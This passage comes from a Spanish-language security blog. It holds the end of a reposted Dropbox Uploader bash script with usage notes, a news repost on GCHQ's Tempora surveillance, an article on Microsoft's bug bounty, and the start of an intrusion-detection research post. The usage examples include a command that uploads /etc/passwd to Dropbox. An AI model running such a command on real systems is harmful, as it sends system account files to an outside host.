"$API_SHARES_URL/$ACCESS_LEVEL/$FILE_DST?oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_ACCESS_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_ACCESS_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM&short_url=false" 2> /dev/null<br /><br />#Check<br /> grep "HTTP/1.1 200 OK" "$RESPONSE_FILE" > /dev/null<br /> if [ $? -eq 0 ]; then<br /> echo $(sed -n 's/.*"url": "\([^"]*\).*/\1/p' "$RESPONSE_FILE")<br /> else<br /> print "FAILED\n"<br /> remove_temp_files<br /> exit 1<br /> fi<br />}<br /><br />############################################ SETUP ##############################<br /><br />#CHECKING FOR AUTH FILE<br />if [ -f "$CONFIG_FILE" ]; then<br /><br /> #Loading data... and change old format config if necesary.<br /> source "$CONFIG_FILE" 2>/dev/null || {<br /> sed -i 's/:/=/' "$CONFIG_FILE" && source "$CONFIG_FILE" 2>/dev/null<br /> }<br /><br /><br /> #Checking the loaded data<br /> if [ -z "$APPKEY" -o -z "$APPSECRET" -o -z "$OAUTH_ACCESS_TOKEN_SECRET" -o -z "$OAUTH_ACCESS_TOKEN" ]; then<br /> echo -ne "Error loading data from $CONFIG_FILE...\n"<br /> echo -ne "It is recommended to run $0 unlink\n"<br /> remove_temp_files<br /> exit 1<br /> fi<br /><br />#Back compatibility with previous Dropbox Uploader versions<br /> if [ -z "$ACCESS_LEVEL" ]; then<br /> ACCESS_LEVEL="dropbox"<br /> fi<br /><br />#NEW SETUP...<br />else<br /><br /> echo -ne "\n This is the first time you run this script.\n"<br /> echo -ne " Please open this URL from your Browser, and access using your account:\n\n -> $APP_CREATE_URL\n"<br /> echo -ne "\n If you haven't already done, click \"Create an App\" and fill in the\n"<br /> echo -ne " form with the following data:\n\n"<br /> echo -ne " App name: MyUploader$RANDOM$RANDOM\n"<br /> echo -ne " App type: Core\n"<br /> echo -ne " Permission type: App folder or Full Dropbox\n\n"<br /> echo -ne " Now, click on the \"Create\" button.\n\n"<br />echo -ne " When your new App is successfully created, please type the\n"<br /> echo -ne " App Key, App Secret and the Access level:\n\n"<br />#Getting the app key and secret from the user<br /> while (true); do<br />echo -n " # App key: "<br /> read APPKEY<br />echo -n " # App secret: "<br /> read APPSECRET<br />echo -n " # Access level you have chosen, App folder or Full Dropbox [a/f]: "<br /> read ACCESS_LEVEL<br /><br />if [ "$ACCESS_LEVEL" == "a" ]; then<br /> ACCESS_LEVEL="sandbox"<br /> ACCESS_MSG="App Folder"<br /> else<br /> ACCESS_LEVEL="dropbox"<br /> ACCESS_MSG="Full Dropbox"<br /> fi<br /><br />echo -ne "\n > App key is $APPKEY, App secret is $APPSECRET and Access level is $ACCESS_MSG, it's ok? [y/n]"<br /> read answer<br /> if [ "$answer" == "y" ]; then<br /> break;<br /> fi<br />done<br /><br />#TOKEN REQUESTS<br /> echo -ne "\n > Token request... "<br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o $RESPONSE_FILE --data "oauth_consumer_key=$APPKEY&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26&oauth_timestamp=$time&oauth_nonce=$RANDOM" "$API_REQUEST_TOKEN_URL" 2> /dev/null<br /> OAUTH_TOKEN_SECRET=$(sed -n 's/oauth_token_secret=\([a-z A-Z 0-9]*\).*/\1/p' "$RESPONSE_FILE")<br /> OAUTH_TOKEN=$(sed -n 's/.*oauth_token=\([a-z A-Z 0-9]*\)/\1/p' "$RESPONSE_FILE")<br /><br />if [ -n "$OAUTH_TOKEN" -a -n "$OAUTH_TOKEN_SECRET" ]; then<br /> echo -ne "OK\n"<br /> else<br /> echo -ne " FAILED\n\n Please, check your App key and secret...\n\n"<br /> remove_temp_files<br /> exit 1<br /> fi<br /><br />while (true); do<br /><br />#USER AUTH<br /> echo -ne "\n Please visit this URL from your Browser, and allow Dropbox Uploader\n"<br /> echo -ne " to access your DropBox account:\n\n --> ${API_USER_AUTH_URL}?oauth_token=$OAUTH_TOKEN\n"<br /> echo -ne "\nPress enter when done...\n"<br /> read<br /><br /> #API_ACCESS_TOKEN_URL<br /> echo -ne " > Access Token request... "<br /> time=$(utime)<br /> $CURL_BIN $CURL_ACCEPT_CERTIFICATES -s --show-error --globoff -i -o $RESPONSE_FILE --data "oauth_consumer_key=$APPKEY&oauth_token=$OAUTH_TOKEN&oauth_signature_method=PLAINTEXT&oauth_signature=$APPSECRET%26$OAUTH_TOKEN_SECRET&oauth_timestamp=$time&oauth_nonce=$RANDOM" "$API_ACCESS_TOKEN_URL" 2> /dev/null<br /> OAUTH_ACCESS_TOKEN_SECRET=$(sed -n 's/oauth_token_secret=\([a-z A-Z 0-9]*\)&.*/\1/p' "$RESPONSE_FILE")<br /> OAUTH_ACCESS_TOKEN=$(sed -n 's/.*oauth_token=\([a-z A-Z 0-9]*\)&.*/\1/p' "$RESPONSE_FILE")<br /> OAUTH_ACCESS_UID=$(sed -n 's/.*uid=\([0-9]*\)/\1/p' "$RESPONSE_FILE")<br /><br />if [ -n "$OAUTH_ACCESS_TOKEN" -a -n "$OAUTH_ACCESS_TOKEN_SECRET" -a -n "$OAUTH_ACCESS_UID" ]; then<br /> echo -ne "OK\n"<br /><br /> #Saving data in new format, compatible with source command.<br /> echo "APPKEY=$APPKEY" > "$CONFIG_FILE"<br /> echo "APPSECRET=$APPSECRET" >> "$CONFIG_FILE"<br /> echo "ACCESS_LEVEL=$ACCESS_LEVEL" >> "$CONFIG_FILE"<br /> echo "OAUTH_ACCESS_TOKEN=$OAUTH_ACCESS_TOKEN" >> "$CONFIG_FILE"<br /> echo "OAUTH_ACCESS_TOKEN_SECRET=$OAUTH_ACCESS_TOKEN_SECRET" >> "$CONFIG_FILE"<br /><br /> echo -ne "\n Setup completed!\n"<br /> break<br /> else<br /> print " FAILED\n"<br /> fi<br />done;<br /><br /> remove_temp_files<br /> exit 0<br />fi<br /><br />################################## START ########################################</div>
<div>
<br />COMMAND=$1<br /><br />#CHECKING PARAMS VALUES<br />case $COMMAND in<br /><br /> upload)<br /><br /> FILE_SRC=$2<br /> FILE_DST=$3<br /><br /> #Checking FILE_SRC<br /> if [ ! -f "$FILE_SRC" -a ! -d "$FILE_SRC" ]; then<br /> echo -e "Error: Please specify a valid source file or directory!"<br /> remove_temp_files<br /> exit 1<br /> fi<br /><br />#Checking FILE_DST<br /> if [ -z "$FILE_DST" ]; then<br /> FILE_DST=/$(basename "$FILE_SRC")<br /> fi<br /><br />db_upload "$FILE_SRC" "$FILE_DST"<br />;;<br /><br /> download)<br /><br /> FILE_SRC=$2<br /> FILE_DST=$3<br /><br /> #Checking FILE_SRC<br /> if [ -z "$FILE_SRC" ]; then<br /> echo -e "Error: Please specify a valid source file!"<br /> remove_temp_files<br /> exit 1<br /> fi<br /><br /> #Checking FILE_DST<br /> #if [ -z "$FILE_DST" ]; then<br /> # FILE_DST=$(basename "$FILE_SRC")<br /> #fi<br /><br /> db_download "$FILE_SRC" "$FILE_DST"<br />;;<br />share)<br />FILE_DST=$2<br /><br /> #Checking FILE_DST<br /> if [ -z "$FILE_DST" ]; then<br /> echo -e "Error: Please specify a valid dest file!"<br /> remove_temp_files<br /> exit 1<br /> fi<br /><br /> db_share "$FILE_DST"<br /><br />;;<br /><br /> info)<br />db_account_info<br /><br /> ;;<br /><br /> delete|remove)<br /><br /> FILE_DST=$2<br /><br /> #Checking FILE_DST<br /> if [ -z "$FILE_DST" ]; then<br /> echo -e "Error: Please specify a valid destination file!"<br /> remove_temp_files<br /> exit 1<br /> fi<br /><br /> db_delete "$FILE_DST"<br />;;<br /><br /> move|rename)<br />FILE_SRC=$2<br /> FILE_DEST=$3<br /><br /> #Checking FILE_SRC<br /> if [ -z "$FILE_SRC" -o -z "$FILE_DEST" ]; then<br /> echo -e "Error: Please specify a valid source and destination file!"<br /> remove_temp_files<br /> exit 1<br /> fi<br /><br /> db_move "$FILE_SRC" "$FILE_DEST"<br /><br /> ;;<br /><br /> mkdir)<br /><br />MKDIR_DST=$2<br /><br />#Checking MKDIR_DST<br /> if [ -z "$MKDIR_DST" ]; then<br /> echo -e "Error: Please specify a valid destination directory!"<br /> remove_temp_files<br /> exit 1<br /> fi<br /><br /> db_mkdir "$MKDIR_DST"<br /><br /> ;;<br /><br /> list)<br /><br />DIR_DST=$2<br /><br /> #Checking DIR_DST<br /> if [ -z "$DIR_DST" ]; then<br /> DIR_DST="/"<br /> fi<br /><br />db_list "$DIR_DST"<br />;;<br /><br /> unlink)<br />db_unlink<br /><br /> ;;<br /><br />*)<br />usage<br />;;<br />esac<br />remove_temp_files<br />exit 0<br />#################################################################################<br /><pre><div class="line" id="LC1009" style="padding-left: 10px;">
</div>
</pre>
<span style="background-color: yellow;"><span style="color: red;">Uso:</span></span><br />
<br />
./dropbox_uploader.sh COMMAND [PARAMETERS]...<br />
<br />
[%%]: Required param<br />
<%%>: Optional param<br />
<br />
<br />
<span style="background-color: yellow;"><span style="color: red;">Ejemplos:</span></span><br />
<br />
./dropbox_uploader.sh upload /etc/passwd /myfiles/passwd.old<br />
./dropbox_uploader.sh upload /etc/passwd<br />
./dropbox_uploader.sh download /backup.zip<br />
./dropbox_uploader.sh delete /backup.zip<br />
./dropbox_uploader.sh mkdir /myDir/<br />
./dropbox_uploader.sh upload "My File.txt" "My File 2.txt" (File name with spaces...)<br />
./dropbox_uploader.sh share "My File.txt"<br />
<br />
Su Utización por Primera vez:<br />
Lanzado el script por primera vez nos pedira que nos conectemos a la direccion web:<br />
<span style="background-color: white; color: #444444; font-family: Helvetica, Arial, sans-serif; font-size: 14px; font-style: italic; line-height: 21px;"> </span><a href="https://www2.dropbox.com/developers/apps" rel="nofollow" style="background-color: white; border: 0px; color: black; font-family: Helvetica, Arial, sans-serif; font-size: 14px; font-style: italic; line-height: 21px; margin: 0px; outline: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;">https://www2.dropbox.com/developers/apps</a><br />
<br />
introduce en la url proporcionada por el script (en cualquier navegador) y autenticate en Dropbox<br />
crea una aplicación introduciendo los datos que te ofrece el script .<br />
brindados la autenticación y los permisos procedemos a introducir al script el "app key" y el "app secret" y así accederá sin problemas a Dropbox luego tendras que escoger dos opciones: "a" (acceso a un fichero especifico ) o "f" (acceso full a Dropbox) y finalmente tendremos que introducir otra url a nuestro navegador y brindarle los permisos. Todos estos pasos se dan sólo una única vez.<br /><br />
<span style="background-color: yellow;"><span style="color: red;">Agradecimiento a : Andrea Farizi, por brindar ala comunidad un excelente script!</span></span><br />
<span style="background-color: yellow;"><span style="color: red;">fuente: <a href="https://github.com/andreafabrizi/Dropbox-Uploader">https://github.com/andreafabrizi/Dropbox-Uploader</a></span></span></div>
</div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-73067150745486828662013-06-24T01:53:00.002+02:002013-06-24T01:53:52.223+02:00La inteligencia británica espía todas las comunicaciones mundiales<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="font-family: Arial, serif; font-size: 12px; line-height: 19px; margin-bottom: 14px; padding: 0px;">
<span style="background-color: black;"><span style="color: white;">Derivado del <a href="http://muyseguridad.net/tag/prism/" style="border: none; text-decoration: none;" target="_blank">escándalo PRISM</a> y de las mismas fuentes que lo destaparon, el diario <a href="http://www.guardian.co.uk/uk/2013/jun/21/gchq-cables-secret-world-communications-nsa" style="border: none; text-decoration: none;" target="_blank">The Guardian</a> asegura que la agencia de inteligencia británica GCHQ tiene monitorizadas las <strong>mayores redes troncales de fibra óptica por las que circulan la mayoría del tráfico telefónico y de Internet mundial</strong>.</span></span></div>
<div style="font-family: Arial, serif; font-size: 12px; line-height: 19px; margin-bottom: 14px; padding: 0px;">
<span style="background-color: black;"><span style="color: white;">La operación de ciberespionaje británico, con nombre en código ‘Tempora’, incluye <strong>interceptores en los cables submarinos trasatlánticos</strong> bajo conocimiento y acuerdo con las empresas comerciales que construyen y operan los claves.</span></span></div>
<div style="font-family: Arial, serif; font-size: 12px; line-height: 19px; margin-bottom: 14px; padding: 0px;">
<span style="background-color: black;"><span style="color: white;">Según las fuentes, el alcance de Tempora es gigantesco, incluso mayor que el de la operación de vigilancia electrónica masiva llevada a cabo por la NSA estadounidense (aunque comparten información) bajo <a href="http://muyseguridad.net/2013/06/10/prism-espionaje-masivo/" style="border: none; text-decoration: none;" target="_blank">PRISM</a> y que ha salpicado a las grandes tecnológicas del país como Google, Apple o Microsoft.</span></span></div>
<div style="font-family: Arial, serif; font-size: 12px; line-height: 19px; margin-bottom: 14px; padding: 0px;">
<span style="background-color: black;"><span style="color: white;">La cantidad de información a la que tendría acceso Tempora sería enorme ya que tendría monitorizado <strong>200 cables de fibra por los que pasan 10 gigabits de datos por segundo.</strong></span></span></div>
<div style="font-family: Arial, serif; font-size: 12px; line-height: 19px; margin-bottom: 14px; padding: 0px;">
<span style="background-color: black;"><span style="color: white;">Unas 850.000 empleados y contratistas públicos y privados tendrían acceso a esta enorme base de datos, aunque los informes de alto secreto serían de 750 analistas de GCHQ y NSA que trabajan específicamente en el <strong>filtrado de información</strong> entre llamadas, correo electrónico, documentos, redes sociales y todo lo que se mueva en Internet.</span></span></div>
<div style="font-family: Arial, serif; font-size: 12px; line-height: 19px; margin-bottom: 14px; padding: 0px;">
<span style="background-color: black;"><span style="color: white;">La información, con todos los indicios de ser cierta al igual que PRISM, reaviva el debate de hasta dónde debe alcanzar el ciberespionaje en aras de la seguridad y si es lícito una <strong>vigilancia generalizada y sin control de todas las redes de telecomunicaciones y de Internet</strong>, en un grave atentado a la privacidad de los ciudadanos.</span></span></div>
<div style="font-family: Arial, serif; font-size: 12px; line-height: 19px; margin-bottom: 14px; padding: 0px;">
<span style="background-color: black;"><span style="color: white;"><strong>Ironías del destino</strong>, Edward Snowden, filtrador de la información, acaba de ser acusado formalmente de espionaje por el gobierno de Estados Unidos.</span></span></div>
<div style="font-family: Arial, serif; font-size: 12px; line-height: 19px; margin-bottom: 14px; padding: 0px;">
<span style="background-color: black;"><span style="color: white;">autor: Juan Ranchal</span></span></div>
<div style="font-family: Arial, serif; font-size: 12px; line-height: 19px; margin-bottom: 14px; padding: 0px;">
<a href="http://muyseguridad.net/2013/06/22/espias-britanicos-comunicaciones/"><span style="background-color: black; color: white;">http://muyseguridad.net/2013/06/22/espias-britanicos-comunicaciones/</span></a></div>
</div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-49729663445337441432013-06-20T17:30:00.001+02:002013-06-20T17:30:55.141+02:00Microsoft will pay hard cash to coders who tell the company about the software holes<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="border: 0px; font-family: Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18.046875px; margin-bottom: 6px; margin-top: 6px; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="background-color: black;">Microsoft will pay coders as much as $11,000 for discovering Web browser defects before hackers can serve up viruses through flawed dot-gov and other websites, the software giant announced <span data-term="goog_1590033719" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;" tabindex="0">on Tuesday</span>.<br /><br />Joining the "bug bounty" trend begun by Google and Mozilla, Microsoft will crowdsource error detection starting <span data-term="goog_1590033720" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;" tabindex="0">June 26</span>, company officials said.</span></div>
<div style="border: 0px; font-family: Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18.046875px; margin-bottom: 6px; margin-top: 6px; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="background-color: black;">The firm wants to hear about "critical vulnerabilities” that affect Internet Explorer 11 Preview on Microsoft's new operating system, Windows 8.1 Preview. The direct cash payments for finding Internet Explorer defects only will be offered for one month, with a <span data-term="goog_1590033721" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;" tabindex="0">July 26</span> cutoff for submissions, <span style="color: #408c14; font-family: inherit;"><span style="font-style: inherit; font-variant: inherit; line-height: inherit;"><b>according to</b></span></span> the company's website. </span></div>
<div style="border: 0px; font-family: Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18.046875px; margin-bottom: 6px; margin-top: 6px; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="background-color: black;">"Learning about critical vulnerabilities in Internet Explorer as early as possible during the public preview will help Microsoft make the newest version of the browser more secure," officials explained. </span></div>
<div style="border: 0px; font-family: Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18.046875px; margin-bottom: 6px; margin-top: 6px; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="background-color: black;">In May researchers identified a "watering hole" <span style="color: #408c14; font-family: inherit;"><span style="font-style: inherit; font-variant: inherit; line-height: inherit;"><b>assault on the Labor Department's “Site Exposure Matrices” website</b></span></span> that took advantage of an undetected vulnerability in certain IE browsers. The database lists nuclear-related illnesses linked to federal facilities and toxicity levels at each location that might have sickened employees developing atomic weapons. Watering hole attacks exploit glitches in websites to implant malicious software that then infiltrates the computers of people visiting the sites.</span></div>
<div style="border: 0px; font-family: Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18.046875px; margin-bottom: 6px; margin-top: 6px; outline: 0px; padding: 0px; text-align: justify; vertical-align: baseline;">
<span style="background-color: black;">Under Microsoft’s program, $150,000 will be the top prize for programmers who discover and plug a hole in the new Windows operating system. Coders who discover "truly novel exploitation techniques against protections" in Windows 8.1 Preview will collect $100,000. Microsoft will shell out an additional $50,000 for "defensive ideas" that protect users from these threats.</span></div>
<div style="border: 0px; font-family: Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18.046875px; margin-bottom: 6px; margin-top: 6px; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="background-color: black;">Researchers at security firm Kaspersky Lab <span data-term="goog_1590033722" style="border: 0px; font-family: inherit; font-size: inherit; font-style: inherit; font-variant: inherit; line-height: inherit; margin: 0px; outline: 0px; padding: 0px; vertical-align: baseline;" tabindex="0">on Tuesday</span> noted that for years Microsoft said it didn't need a <span style="color: #408c14; font-family: inherit;"><span style="font-style: inherit; font-variant: inherit; line-height: inherit;"><b>bug bounty program</b></span></span>, </span></div>
<div style="border: 0px; font-family: Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18.046875px; margin-bottom: 6px; margin-top: 6px; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="background-color: black;">"Microsoft security officials say that the program has been a long time in development, and the factor that made this the right time to launch is the recent rise of vulnerability brokers. Up until quite recently, most of the researchers who found bugs in Microsoft products reported them directly to the company. That’s no longer the case,” according to an<span style="color: #408c14; font-family: inherit;"><span style="font-style: inherit; font-variant: inherit; line-height: inherit;"><b>entry</b></span></span> on the lab’s blog.</span></div>
<div style="border: 0px; font-family: Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18.046875px; margin-bottom: 6px; margin-top: 6px; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="background-color: black;">Vulnerability brokers include researchers who sell "zero day" viruses that wriggle through previously unknown software flaws.</span></div>
<div style="border: 0px; font-family: Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18.046875px; margin-bottom: 6px; margin-top: 6px; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="background-color: black;">Chris Wysopal, chief technology officer at Veracode, told the lab, “Mitigation bypasses are very valuable on the open market," adding, "Microsoft is clearly trying to steer that research to them so they can make defensive improvements." </span></div>
<div style="border: 0px; font-family: Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18.046875px; margin-bottom: 6px; margin-top: 6px; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="background-color: black;">Wysopal said, “This should pay for itself as it would cost much more than the bounty to fix these in a patch. They should do this for all their beta products.”</span></div>
<div style="border: 0px; font-family: Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18.046875px; margin-bottom: 6px; margin-top: 6px; outline: 0px; padding: 0px; vertical-align: baseline;">
<span style="background-color: yellow;">reference: <a href="http://www.nextgov.com/cybersecurity/2013/06/11000-anyone-who-spots-internet-explorer-bug-dot-gov-hackers/65192/?oref=ng-channeltopstory">http://www.nextgov.com/cybersecurity/2013/06/11000-anyone-who-spots-internet-explorer-bug-dot-gov-hackers/65192/?oref=ng-channeltopstory</a></span></div>
<div style="border: 0px; font-family: Helvetica, Arial, sans-serif; font-size: 12px; line-height: 18.046875px; margin-bottom: 6px; margin-top: 6px; outline: 0px; padding: 0px; vertical-align: baseline;">
Pero ahora la pregunta es: realmente será de ayuda dicha propuesta, si sabemos muy bien que un " Zero Day " en el "black market" llegan a medio millón! ... en fin es una medida en cierta forma tentadora </div>
</div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-21113767787947155742013-06-19T13:32:00.001+02:002013-06-19T16:56:03.456+02:00Modelos de inteligencia computacional aplicados al diseño e investigación de detección de intrusos<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="Standard" style="margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: .75pt; margin-right: .2pt; margin-top: 0cm; text-align: justify; text-indent: 34.7pt;">
<span style="font-family: "Arial","sans-serif";">El imparable crecimiento de internet
en el mundo, y la integración de los diversos sistemas informáticos conectados
a la red de Internet han hecho que la Seguridad de la Información alcance un
papel de suma importancia actualmente. Desde el momento en que un equipo (bien
un ordenador, una tableta o un “smartphone”) se conecta a Internet, se abren
toda una serie de posibilidades; sin embargo, éstas traen consigo nuevos y en
ocasiones complejos tipos de ataques. Para que
las informaciones sean protegidas de acciones maliciosas, es necesario
hacer uso de herramientas especializadas en la protección de datos e
informaciones, como antivirus, antispam, firewall, IDS, IPS, balanceadores de
cargas, control de accesos, sistemas criptográficos tipos VPN y entre otras. Un
sistema que auxilia y automatiza la protección de las informaciones es el
sistema de detección de intrusos (IDS) que
tiene como intensión de detectar el uso no autorizado, ataques en
ordenadores o en redes de ordenadores. Sin embargo, algunas funcionalidades de
esos sistemas son limitadas, tales como la detección, el análisis y la
respuesta instantánea de un nuevo ataque (Zero day attack).<o:p></o:p></span></div>
<div class="Standard" style="margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: .75pt; margin-right: .2pt; margin-top: 0cm; text-align: justify; text-indent: 34.7pt;">
<span style="font-family: "Arial","sans-serif";"><br /></span></div>
<div class="Standard" style="text-align: justify; text-indent: 35.45pt;">
<span style="font-family: "Arial","sans-serif";">La aplicación de técnicas basadas en
Inteligencia Artificial para la detección de intrusos (IDS) fundamentalmente
las redes neuronales artificiales (ANN), están demostrando ser un enfoque muy
adecuado para paliar muchos de los problemas que se dan en esta área. Sin
embargo, gran volumen de información que se requiere cada día para entrenar
estos sistemas, junto con la necesidad exponencial de tiempo que requieren para
asimilarlos, dificulta enormemente su puesta en marcha en escenarios reales.<o:p></o:p></span></div>
<div class="Standard" style="text-align: justify; text-indent: 35.45pt;">
<span style="font-family: "Arial","sans-serif";"><br /></span></div>
<div class="Standard" style="text-align: justify; text-indent: 35.45pt;">
<span style="font-family: "Arial","sans-serif";">Ante esta situación me propuse diseñar un sistema </span><span style="font-family: Arial, sans-serif; text-indent: 35.45pt;">capaz de detectar situaciones anómalas en la
red, basado en modelos de inteligencia computacional e instrumento complementario
para visualizar la estructura interior de un conjunto de datos asociados al
tráfico de redes, </span><span style="font-family: Arial, sans-serif; text-indent: 35.45pt;">se aplicarán diversas técnicas EPP (<i>Exploratory
Proyection Pursuit</i>) como PCA (</span><i style="text-indent: 35.45pt;"><span style="font-family: "Arial","sans-serif";">Principal Component Analysis</span></i><span style="font-family: Arial, sans-serif; text-indent: 35.45pt;">), MLHL (<i>Maximum Likelihood Hebbian Learning</i>) y CMLH (<i>Cooperative Maximum Likelihood Hebian Learning</i>), para analizar la estructura
interna del conjunto de datos y de este modo identificar comportamiento
anómalos asociados a situaciones de riesgo en la red (CORCHADO, HERRERO, 2013).</span></div>
<div class="Standard" style="text-align: justify; text-indent: 35.45pt;">
<span style="font-family: Arial, sans-serif; text-indent: 35.45pt;"><br /></span></div>
<div class="Textbody" style="text-align: justify;">
<span style="font-family: "Arial","sans-serif"; mso-fareast-font-family: TimesNewRomanPSMT;"> Una vez definida la propuesta: “</span><span style="font-family: "Arial","sans-serif";">modelos de
inteligencia computacional aplicados al diseño e investigación de sistema de
detección de intrusos”; procedí a la realización de la fase de
experimentación y de análisis de los resultados, por
tal motivo me centré en la fase de análisis, debido a que la mencionada
experimentación está igualmente orientada hacia dicha cuestión. Para las
mencionadas pruebas, el autor en lo posible ha tratado de considerar un
escenario real donde nuestro análisis no sólo se centrará en conocidos puertos,
protocolos, direcciones IPV4, etc. sino que analizaremos todo el tráfico de
datos generados por la red (los datos capturados fueron de 6 semanas llegando acumular un aproximado de 600 gb de tráfico de red), en donde se han hecho un sin número de pruebas de
ataques tanto internos como externos suplantando inclusive algunas IP de los
equipos de la red (señuelos), pero el mayor énfasis de estas pruebas cayó en
los ataques internos (localmente) en vista que con las pruebas realizadas hemos
podido ver que muchos de estos ataques son más difíciles de detectar y se
confunden dentro del tráfico normal de la red lo cual muchas veces pasan
desapercibidas por el administrador de redes. En la séptima edición del informe
anual de seguridad en entidades financieras realizado por Deloitte</span><b><span style="font-family: "Arial","sans-serif"; font-size: 8.0pt; mso-bidi-font-size: 12.0pt;">[84]</span></b><span style="font-family: "Arial","sans-serif";">, en la que han participado más de 350 entidades
financieras de todo el mundo, 19 de ellas españolas y que analiza el estado de
estas compañías en materia de seguridad de la información; concluyen que los “ataques
internos” y “las “fugas de información” son, por tanto los problemas más
detectados en las entidades. Las proyecciones de PCA, MLHL y en especial la de
CMLHL permiten identificar situaciones anómalas, muchas de estas situaciones
dependiendo de dónde proceda el ataque tendrán una particularidad que se
diferenciará al del tráfico normal pudiendo ser la concentración de paquetes,
direcciones no paralelas, el distanciamiento que tienen con el conjunto de
paquetes y muchas más particularidades que se reflejaron en la experimentación
y análisis nos dan indicios de situaciones anómalas, lo cual nos permite su
identificación.</span><span style="font-family: "Arial","sans-serif"; mso-fareast-font-family: TimesNewRomanPSMT;"><o:p></o:p></span></div>
<div class="Textbody" style="text-align: justify;">
<span style="font-family: "Arial","sans-serif";"><br /></span></div>
<div class="Textbody" style="text-align: justify;">
<span style="font-family: "Arial","sans-serif";"> </span><span style="font-family: Arial, sans-serif; text-indent: 35.45pt;">En la </span><span style="font-family: Arial, sans-serif; text-indent: 35.45pt;">Figura 1.1 se puede apreciar el</span><span style="font-family: Arial, sans-serif; text-indent: 35.45pt;"> scatter
plot generado por la PCA, enfrentando las m (número de neuronas de salida)
primeras componentes (columnas) del conjunto de datos entre sí. Dicha
visualización representa el tráfico normal de la red por un tiempo de 10
minutos.</span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_oQh1cN8mS-g3PnnTsoegpRN6lrq_rBQVRYnWk6pPPzKk_R3clQ5hUAdWTPYLbLOPmnaAZhg6LF8O2soTDJ9QZN2QZXLDZeIEFx5t36XrDF2gKWb41a28VCM2XmEKvmchMdWIj1IFWbkN/s1600/1.1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="239" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj_oQh1cN8mS-g3PnnTsoegpRN6lrq_rBQVRYnWk6pPPzKk_R3clQ5hUAdWTPYLbLOPmnaAZhg6LF8O2soTDJ9QZN2QZXLDZeIEFx5t36XrDF2gKWb41a28VCM2XmEKvmchMdWIj1IFWbkN/s320/1.1.jpg" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<i><b><span style="font-size: x-small;">Figura 1.1</span></b></i> <b style="text-align: left;"><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-ansi-language: ES; mso-bidi-language: HI; mso-fareast-font-family: TimesNewRomanPSMT; mso-fareast-language: ES; mso-font-kerning: 1.5pt;">Scatter Plot, del tráfico
normal.</span></i></b></div>
<div class="separator" style="clear: both; text-align: center;">
<b style="text-align: left;"><i><span style="font-family: "Arial","sans-serif"; font-size: 10.0pt; mso-ansi-language: ES; mso-bidi-language: HI; mso-fareast-font-family: TimesNewRomanPSMT; mso-fareast-language: ES; mso-font-kerning: 1.5pt;"><br /></span></i></b></div>
<span style="font-family: Arial, sans-serif;"> </span><span style="font-family: Arial, sans-serif;">En la Figura 1.2 </span><span style="font-family: Arial, sans-serif;"> </span><span style="font-family: Arial, sans-serif;">apreciamos el tráfico normal de la red en 3
dimensiones.</span><br />
<span style="font-family: Arial, sans-serif;"><br /></span>
<br />
<div class="Textbody">
<span style="font-family: "Arial","sans-serif";"><o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
